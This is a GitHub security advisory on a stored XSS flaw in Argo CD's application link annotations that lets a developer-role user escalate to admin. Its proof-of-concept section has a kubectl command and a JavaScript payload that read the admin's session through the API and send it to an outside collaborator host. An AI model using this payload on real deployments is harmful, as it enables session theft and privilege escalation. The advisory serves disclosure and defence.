GHSA-h98r-wv3h-fr38 Argo CD: Stored XSS in application link annotations enables developer-to-admin privilege escalation

• Go github.com/argoproj/argo-cd/v3: < 3.2.12 → fixed in 3.2.12 • Go github.com/argoproj/argo-cd/v3: >= 3.3.0-rc1, < 3.3.10 → fixed in 3.3.10 • Go github.com/argoproj/argo-cd/v3: >= 3.4.0-rc1, < 3.4.2 → fixed in 3.4.2 • Go github.com/argoproj/argo-cd/v2: <= 2.14.21 (no fix yet) • Go github.com/argoproj/argo-cd: <= 1.8.7 (no fix yet)

Summary A user with application write access (developer role) can set `link.argocd.argoproj.io/*` annotations on any ArgoCD Application. These annotation values are rendered in the Summary tab's URLs section as `` elements without URL validation. Using the pipe-separator trick (`Display Text | javascript:...`), an attacker can inject a `javascript:` URI while displaying a legitimate-looking label (e.g. `GitHub Repo`). When a higher-privileged user (admin) clicks the link, arbitrary JavaScript executes in the ArgoCD origin context in the admin's authenticated session context, enabling API exfiltration and privilege escalation from developer to admin. Details Vulnerable sink: `ui/src/app/applications/components/application-summary/application-summary.tsx:277` ```tsx const parts = (url || '').split('|'); 1 ? parts[1] : parts[0]} target='_blank'> {parts[0]} ``` The annotation value is split on `|`. `parts[0]` becomes the visible link label; `parts[1]` becomes the `href`. No call to `isValidURL()` is made, unlike the protected `ApplicationURLs` component (`application-urls.tsx:72,80`) which does validate URLs and blocks `javascript:`. The `target='_blank'` opens a new tab that inherits the ArgoCD origin, giving the injected script same-origin fetch access to all ArgoCD APIs using the victim's authenticated session (credentialed `fetch()` calls). Root cause: React 16.x does not block `javascript:` URIs in `href` attributes (this protection was added in React 19). The helper `isValidURL()` exists in `shared/utils.ts` but is not applied to this sink. CSP: ArgoCD's default Content Security Policy is `frame-ancestors 'self'` only — no `script-src`, no `connect-src`, no `default-src` — providing zero XSS execution mitigation. PoC Prerequisites: Developer role with application write access (e.g. RBAC: `p, role:developer, applications, *, */*, allow`). Step 1 — Set malicious annotation as developer: ```bash kubectl annotate application -n argocd \ 'link.argocd.argoproj.io/docs=GitHub Repo|javascript:fetch("https:///api/v1/session/userinfo",{credentials:"include"}).then(r=>r.json()).then(d=>fetch("https://xxx.oastify.com/?d="+btoa(JSON.stringify(d)),{mode:"no-cors"}))' ``` The URL section in the admin's Summary tab renders the link as "GitHub Repo" — the `javascript:` payload is invisible in the displayed text. Step 2 — Admin opens Summary tab of the annotated application and clicks the link. Step 3 — JavaScript executes at the ArgoCD origin and exfiltrates admin session data via out-of-band HTTP request. Tested with Burp Collaborator: ```javascript // Payload used during testing (Burp Collaborator OOB): fetch("https:///api/v1/session/userinfo", {credentials:"include"}) .then(r => r.json()) .then(d => fetch("https://xxx.oastify.com/?d=" + btoa(JSON.stringify(d)), {mode:"no-cors"})) ``` Step 4 — Burp Collaborator received the OOB HTTP interaction containing the base64-encoded admin session data. Decoded response: ```json {"iss":"argocd","loggedIn":true,"username":"admin"} ``` Tested on: ArgoCD v3.3.8 (commit 0850e97), React 16.9.3. Impact • Stored XSS — payload persists in the Kubernetes Application resource until manually removed • Privilege escalation — developer role → admin session hijacking via authenticated API calls • Maximum stealth — the injected link displays as any attacker-chosen text; the `javascript:` href is never visible to the victim • No server-side interaction required — purely client-side exploit, no network egress needed for execution (exfiltration uses `no-cors` fetch, bypassed by absent `connect-src` CSP) • Any admin or operator who views the Summary tab of the compromised application is affected Credits Discovered and reported by Jan Kahmen ([email protected]) — turingpoint.de